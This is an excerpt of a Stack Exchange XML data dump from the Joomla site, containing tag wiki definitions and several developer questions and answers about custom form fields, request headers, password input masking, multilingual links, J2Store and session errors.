  <row Id="24657" PostTypeId="4" CreationDate="2019-05-16T12:00:42.090" Score="0" Body="Styling is the process of binding visual metadata to a document." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:47:20.453" LastActivityDate="2019-05-16T16:47:20.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24658" PostTypeId="5" CreationDate="2019-05-16T12:14:35.107" Score="0" Body="&lt;p&gt;Many email templates are available in the &lt;a href=&quot;https://extensions.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extension Directory&lt;/a&gt; (JED).  Email templates provide a structure which can be customized to add style and personality to your email content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/email/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/email/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/category/contacts-and-feedback/email/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/contacts-and-feedback/email/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlabeginner.com/blog/tutorials/121-how-to-test-your-joomla-email-settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlabeginner.com/blog/tutorials/121-how-to-test-your-joomla-email-settings&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:49:27.590" LastActivityDate="2019-05-16T16:49:27.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24659" PostTypeId="4" CreationDate="2019-05-16T12:14:35.107" Score="0" Body="Email templates are HTML-based documents which receive dynamically generated content to tailor the outgoing correspondence to the recipient(s)." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:47.987" LastActivityDate="2019-05-16T16:46:47.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24660" PostTypeId="2" ParentId="24637" CreationDate="2019-05-16T13:49:18.220" Score="1" Body="&lt;p&gt;OK so based on the new &lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation resource&lt;/a&gt; I found, I can actually set an independent layout for anything related to custom form fields, exactly what I wanted really. I don't need to make this field generally available for users via &lt;code&gt;com_fields&lt;/code&gt;, just a quick and totally Joomla based tool for building specific admin forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I removed most of the code you see above, I basically re-purposed the &lt;code&gt;getInput()&lt;/code&gt; method to just call the layout I need and let it go.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Method to get the field input markup.&#xA; */&#xA;protected function getInput()&#xA;{&#xA;    $value = $this-&amp;gt;value ? (array) $this-&amp;gt;value : array();&#xA;&#xA;    // Prepare data for renderer&#xA;    $data    = parent::getLayoutData();&#xA;    $tmpl    = null;&#xA;    $forms   = array();&#xA;    $control = $this-&amp;gt;name;&#xA;&#xA;    try&#xA;    {&#xA;        // Prepare the form template&#xA;        $formname = 'subform.' . str_replace(array('jform[', '[', ']'), array('', '.', ''), $control);&#xA;        $tmpl = JForm::getInstance($formname, $this-&amp;gt;formsource, array('control' =&amp;gt; $control));&#xA;&#xA;        // Prepare the forms for exiting values&#xA;        $tmpl-&amp;gt;bind($value);&#xA;        $forms[] = $tmpl;&#xA;    }&#xA;    catch (Exception $e)&#xA;    {&#xA;        return $e-&amp;gt;getMessage();&#xA;    }&#xA;&#xA;    $data['tmpl']      = $tmpl;&#xA;    $data['forms']     = $forms;&#xA;    $data['control']   = $control;&#xA;    $data['fieldname'] = $this-&amp;gt;fieldname;&#xA;&#xA;    static $unique_subform_id = 0;&#xA;    $data['unique_subform_id'] = ('sr-' . ($unique_subform_id++));&#xA;&#xA;    // Prepare renderer&#xA;    $layout = new JLayoutFile('families', JPATH_ROOT.'/ANY_PATH_TO/layouts');&#xA;    $html = $layout-&amp;gt;render($data);&#xA;&#xA;    // Render&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While the original method pointed to an external renderer and a bunch of external layouts, something generic for a more broad use, I've added &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // Prepare renderer&#xA; $layout = new JLayoutFile('families', JPATH_ROOT.'/ANY_PATH_TO/layouts');&#xA; $html = $layout-&amp;gt;render($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this custom field is unique and only uses its own layout for its purpose.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2019-05-16T13:49:18.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24661" PostTypeId="2" ParentId="17869" CreationDate="2019-05-16T17:08:33.700" Score="0" Body="&lt;p&gt;You can use plain PHP to retrive request headers. No need to use Joomla objects. Use below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$token =  getallheaders ();&#xA;print_r($token);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to retrive full request headers.&lt;/p&gt;&#xA;" OwnerUserId="4140" LastEditorUserId="4140" LastEditDate="2019-05-17T12:34:53.790" LastActivityDate="2019-05-17T12:34:53.790" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24662" PostTypeId="5" CreationDate="2019-05-16T20:32:36.803" Score="0" Body="&lt;p&gt;Data validation is the process of ensuring that a program operates on clean, correct and useful data.  It applies rules or constraints to check for correctness, meaningfulness, and the security of data that are input to the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common reasons for validation are to avoid entering data which violates a database schema, and/or to prevent unauthorized exploitation of a user interface.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Different kinds of validation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In evaluating the basics of data validation, generalizations can be made regarding the different types of validation, according to the scope, complexity, and purpose of the various validation operations to be carried out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Data type validation;&lt;/li&gt;&#xA;&lt;li&gt;Range and constraint validation;&lt;/li&gt;&#xA;&lt;li&gt;Code and Cross-reference validation; and&lt;/li&gt;&#xA;&lt;li&gt;Structured validation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Data_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Data_validation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.techopedia.com/definition/10283/data-validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techopedia.com/definition/10283/data-validation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.informatica.com/au/services-and-training/glossary-of-terms/data-validation-definition.html#fbid=WJfSVFcprCq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.informatica.com/au/services-and-training/glossary-of-terms/data-validation-definition.html#fbid=WJfSVFcprCq&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:35.537" LastActivityDate="2019-05-17T09:09:35.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24663" PostTypeId="4" CreationDate="2019-05-16T20:32:36.803" Score="0" Body="Validation is used to check data to make sure it fits whatever required specifications are set for it.  Typically Validation is used in checking input data, and in verifying data before storage." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:52.057" LastActivityDate="2019-05-17T09:09:52.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24664" PostTypeId="5" CreationDate="2019-05-16T20:51:09.500" Score="0" Body="&lt;p&gt;A dropdown is a user interface by which a list of options are temporarily displayed until the user selects one or more of the options in the list.  The selection will either immediately execute an event or retain the selection until remaining form processes are completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dropdown with a single dimension of data will present vertically (or horizontally in less common situations).  A multi-dimensional dropdown may have a variable number of child/nested lists -- these lists may alternate between vertical and horizontal layouts as lower order item lists are exposed.  For lists with parent-child list relationships, visual cues involving color and position are typically implemented to clarify which parent item contains the presented child list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/solved-with-css-dropdown-menus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://css-tricks.com/solved-with-css-dropdown-menus/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.dummies.com/web-design-development/site-development/how-to-create-a-drop-down-list-in-an-html5-form/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dummies.com/web-design-development/site-development/how-to-create-a-drop-down-list-in-an-html5-form/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Bq2yTvRdUuY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Bq2yTvRdUuY&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.w3schools.com/howto/howto_css_dropdown.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.w3schools.com/howto/howto_css_dropdown.asp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:44.327" LastActivityDate="2019-05-17T09:09:44.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24665" PostTypeId="4" CreationDate="2019-05-16T20:51:09.500" Score="0" Body="Dropdowns are toggleable, contextual overlays for displaying lists of links and more.  This tag should be used on questions that relate to a &lt;select&gt; html tag or a dropdown menu that is available via client-side events such as hovering over or clicking a navigation menu." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:00.410" LastActivityDate="2019-05-17T09:10:00.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24666" PostTypeId="5" CreationDate="2019-05-16T21:28:54.920" Score="0" Body="&lt;p&gt;Detecting the type and version of the browser the user uses to view the webpage. Most of the time the decision is based on the &lt;a href=&quot;http://en.wikipedia.org/wiki/User_agent#User-agent_identification&quot; rel=&quot;nofollow noreferrer&quot;&gt;User-agent string&lt;/a&gt; or the existence of some proprietary properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases, it is considered bad practice. Feature detection is to be used instead.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://css-tricks.com/browser-detection-is-bad/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Browser Detection is Bad by Chris Coyier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:57.280" LastActivityDate="2019-05-17T09:09:57.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24667" PostTypeId="4" CreationDate="2019-05-16T21:28:54.920" Score="0" Body="Detecting the type and version of the browser the user uses to view the webpage." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:40.810" LastActivityDate="2019-05-17T09:09:40.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24668" PostTypeId="5" CreationDate="2019-05-16T22:33:24.203" Score="0" Body="&lt;p&gt;A &lt;a href=&quot;/questions/tagged/default&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;default&amp;#39;&quot; rel=&quot;tag&quot;&gt;default&lt;/a&gt;, in computer science, refers to a setting or a value automatically assigned to a software application, computer program or device, outside of user intervention. Such settings are also called presets, especially for electronic devices. Default values are generally intended to make a device (or control) usable &lt;em&gt;&quot;out of the box&quot;&lt;/em&gt;. A common setting, or at least a usable setting, is typically assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;/questions/tagged/default&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;default&amp;#39;&quot; rel=&quot;tag&quot;&gt;default&lt;/a&gt; tag should be used for questions regarding default features, default configurations, or default data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Default_%28computer_science%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Default_%28computer_science%29&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:03.027" LastActivityDate="2019-05-17T09:10:03.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24669" PostTypeId="4" CreationDate="2019-05-16T22:33:24.203" Score="0" Body="Refers to an initial, most commonly used option, setting, or value that is automatically assigned to an application or device, outside of user intervention, with the intention of making it usable &quot;out of the box&quot;." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:09.203" LastActivityDate="2019-05-17T09:10:09.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24670" PostTypeId="5" CreationDate="2019-05-16T22:47:00.823" Score="0" Body="&lt;p&gt;Permissions are a series of rules that define the action that authenticated users of computer systems can do. Permissions are employed in several systems, such as file systems, DBMS, apps (iOS, Android, Windows Store, ...) and claims-based identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a programming perspective, we are not interested in how to assign permissions in a particular context (i.e. in a company) but in how these are implemented (which permissions are implemented, in which way we combine them, how they impact performance, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should be used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for questions about how permissions work in particular systems;&lt;/li&gt;&#xA;&lt;li&gt;for scenarios/problems that involves permissions in a substantial way.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:29.250" LastActivityDate="2019-05-17T09:10:29.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24671" PostTypeId="4" CreationDate="2019-05-16T22:47:00.823" Score="0" Body="Permissions define the operations that authenticated users are allowed to perform on file systems, databases and other computer systems." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:32.733" LastActivityDate="2019-05-17T09:09:32.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24672" PostTypeId="5" CreationDate="2019-05-16T22:57:29.503" Score="0" Body="&lt;p&gt;In computer science, &lt;a href=&quot;http://en.wikipedia.org/wiki/Conditional_%28programming%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;conditional statements&lt;/a&gt;, conditional expressions and conditional constructs are features of a programming language which perform different computations or actions depending on whether a programmer-specified boolean condition evaluates to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the case of branch predication, this is always achieved by selectively altering the control flow based on some condition.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;strong&gt;imperative programming&lt;/strong&gt; languages, the term &quot;conditional statement&quot; is usually used.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;strong&gt;functional programming&lt;/strong&gt; languages, the terms &quot;conditional expression&quot; or &quot;conditional construct&quot; are preferred, because these terms all have distinct meanings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:54.673" LastActivityDate="2019-05-17T09:09:54.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24673" PostTypeId="4" CreationDate="2019-05-16T22:57:29.503" Score="0" Body="In computer science, conditional statements, conditional expressions and conditional constructs are features of a programming language which perform different computations or actions depending on whether a programmer-specified boolean condition evaluates to true or false." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:06.403" LastActivityDate="2019-05-17T09:10:06.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24674" PostTypeId="5" CreationDate="2019-05-16T23:02:19.467" Score="0" Body="&lt;p&gt;A date is an ambiguous interval in time, which usually refers to a day, month and year in a particular calendar system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A date by itself (such as &lt;code&gt;Jan 1 2014&lt;/code&gt;) does not refer to a specific moment in time.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It does not have a time of day, so it refers to a whole calendar date.&lt;/li&gt;&#xA;&lt;li&gt;It does not specify a time zone, so it could be interpreted differently by each viewer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Related concepts such as &quot;today&quot;, &quot;yesterday&quot;, and &quot;tomorrow&quot;, or any individual day of the week such as &quot;Monday&quot; or &quot;Tuesday&quot;, also have the same qualities.  They are loose terms that require a time zone in order to lock in to a specific range of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some programming languages, such as &lt;a href=&quot;/questions/tagged/javascript&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;javascript&amp;#39;&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt;, the &lt;code&gt;Date&lt;/code&gt; type actually represents a date and time of day, and is therefore misnamed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most recognized calendar is the Gregorian calendar, but there are other recognized calendars as well such as the Hebrew or the Hijri (Muslim) calendar. Since both start at a different date from the Gregorian calendar's date, the dates in these calendars are different. When one intends to implement an international application or website, the different calendars might be good to be taken into account.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:32.387" LastActivityDate="2019-05-17T09:10:32.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24675" PostTypeId="4" CreationDate="2019-05-16T23:02:19.467" Score="0" Body="A date is a reference to a particular day represented within a calendar system, and consists of year, month and day." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:48.843" LastActivityDate="2019-05-17T09:09:48.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24677" PostTypeId="5" CreationDate="2019-05-17T08:54:26.313" Score="0" Body="&lt;p&gt;Hypertext Transfer Protocol Secure (&lt;a href=&quot;/questions/tagged/https&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;https&amp;#39;&quot; rel=&quot;tag&quot;&gt;https&lt;/a&gt;) is a widely used &lt;a href=&quot;https://en.wikipedia.org/wiki/Communications_protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;communications protocol&lt;/a&gt; for secure communication over a &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_network&quot; rel=&quot;nofollow noreferrer&quot;&gt;computer network&lt;/a&gt;, with especially wide deployment on the Internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, it is not a protocol in itself; rather, it is the result of simply putting SSL/TLS between &lt;a href=&quot;https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hypertext Transfer Protocol&lt;/a&gt; (HTTP) and TCP, thus adding the security capabilities of SSL/TLS to standard HTTP communications.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HTTP: &lt;code&gt;HTTP | TCP | lower-layer-protocols&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;HTTPS: &lt;code&gt;HTTP | TLS/SSL | TCP | lower-layer-protocols&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;HTTP uses the client/server computing model (client server), where a client makes a request of a server for access to a file or to pass a message to a program that runs in the server computer. The server takes the requested action and returns a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resource:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/HTTPS&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia HTTPS  article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:10:12.633" LastActivityDate="2019-05-17T09:10:12.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24678" PostTypeId="4" CreationDate="2019-05-17T08:54:26.313" Score="0" Body="Hypertext Transfer Protocol Secure (HTTPS) is a combination of the Hypertext Transfer Protocol with the SSL/TLS protocol to provide encrypted communication and secure identification of a network web server." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-17T09:09:38.190" LastActivityDate="2019-05-17T09:09:38.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24679" PostTypeId="1" CreationDate="2019-05-17T09:05:09.627" Score="2" ViewCount="88" Body="&lt;p&gt;I have followed the advice at &lt;a href=&quot;https://joomla.stackexchange.com/questions/23686/autocomplete-disable-in-joomla-administrartor&quot;&gt;autocomplete disable in joomla administrator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I hide the password characters while I am typing without losing the functionality provided by &lt;a href=&quot;https://joomla.stackexchange.com/users/12524/zollie&quot;&gt;Zollie&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13545" LastEditorUserId="12352" LastEditDate="2019-05-17T22:32:02.600" LastActivityDate="2020-10-09T03:07:45.753" Title="How can you hide Joomla admin password while inputting the characters?" Tags="|administrator|login|joomla-3.9|account-password|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24680" PostTypeId="2" ParentId="24679" CreationDate="2019-05-17T10:51:14.393" Score="1" Body="&lt;p&gt;One of the solution will be to create a custom font (this tutorial explain a way to do this &lt;a href=&quot;https://www.wikihow.com/Create-a-Font&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.wikihow.com/Create-a-Font&lt;/a&gt;) with small circles for all characters and bind this font to your password text input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@font-face {&#xA;    font-family: myCustomFont;&#xA;    font-style: normal;&#xA;    src: url('pathToYourCustomFont.otf');&#xA;}&#xA;#mod-login-password&#xA;{&#xA;      font-family: &quot;myCustomFont&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2019-05-17T10:51:14.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24681" PostTypeId="1" CreationDate="2019-05-17T11:51:22.780" Score="0" ViewCount="157" Body="&lt;p&gt;I have a Joomla article that contains links to other articles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.dev.gonativeguide.com/de/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I add the links with the &quot;+article&quot; button of the editor. My site is bilingual: English and German. When I add a link to an English article, the generated link works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://dev.gonativeguide.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=143&amp;amp;catid=38&amp;amp;lang=en-GB &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I add a link to a German article, the generated link does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.dev.gonativeguide.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=142&amp;amp;catid=38&amp;amp;lang=de-DE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Code: 404 Article not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The article not found can be accessed from the menu structure without any problems on the following link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.dev.gonativeguide.com/de/touren/budapest/142-budapest-stadtfuehrung-auf-deutsch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &#xA;It seems that this is somehow not related to German, but the first language works the second language fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that the generated URL is converted/redirected to a new URL that contains &lt;code&gt;/de&lt;/code&gt; or &lt;code&gt;/en&lt;/code&gt; after the domain name. It seems that for some reason &lt;strong&gt;this &lt;code&gt;/de&lt;/code&gt; or &lt;code&gt;/en&lt;/code&gt; part is wrong and this causes the error:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://dev.gonativeguide.com/de/?option=com_content&amp;amp;view=article&amp;amp;id=143&amp;amp;catid=38&amp;amp;lang=en-GB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change &lt;code&gt;/de&lt;/code&gt; to &lt;code&gt;/en&lt;/code&gt; in the above link, it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also see the call stack below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MrCfx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrCfx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what may cause this and how to fix it? &lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12352" LastEditDate="2019-05-18T06:20:26.100" LastActivityDate="2019-05-18T06:20:26.100" Title="Article links from Joomla article do not work for multi-language website" Tags="|joomla-3.x|articles|multilingual|weblinks|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24682" PostTypeId="1" CreationDate="2019-05-17T14:45:49.597" Score="0" ViewCount="208" Body="&lt;p&gt;I'm trying to add J2Store add to cart with below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/name-template/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_ADMINISTRATOR.'/components/com_j2store/helpers/j2store.php');&#xA;$product = F0FTable::getAnInstance('Product', 'J2StoreTable')-&amp;gt;getClone();&#xA;            if($product-&amp;gt;get_product_by_source('com_content', $this-&amp;gt;item-&amp;gt;id)) {&#xA;            echo $product-&amp;gt;get_product_html();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and load cart use this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $product-&amp;gt;get_product_cart_html();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this code show cart button but not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after click add to cart button no action for add product to cart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do after click add to cart buuton , add product at cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this problem is conflict javascript j2store...i updated j2store to latest version (3.3.9) solved this problem&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="9530" LastEditDate="2019-05-19T10:18:18.807" LastActivityDate="2019-05-19T10:18:18.807" Title="j2store add to cart button" Tags="|joomla-3.x|j2store|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24683" PostTypeId="1" CreationDate="2019-05-17T21:04:39.520" Score="0" ViewCount="137" Body="&lt;p&gt;I'm using Joomla version 3.9.6. I encountered a problem just after a windows update. The error displayed is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: session_start(): Failed to read session data: user (path: C:\xampp\tmp) in C:\xampp\htdocs\joomla3.96\libraries\joomla\session\handler\native.php on line 260&lt;br&gt;&lt;br&gt;&#xA;  Error: Failed to start application: Failed to start the session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13546" LastEditorUserId="12352" LastEditDate="2019-05-20T08:45:19.647" LastActivityDate="2019-05-20T08:45:19.647" Title="Can't connect to Joomla administration page after Windows10 update" Tags="|joomla-3.x|administrator|session|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
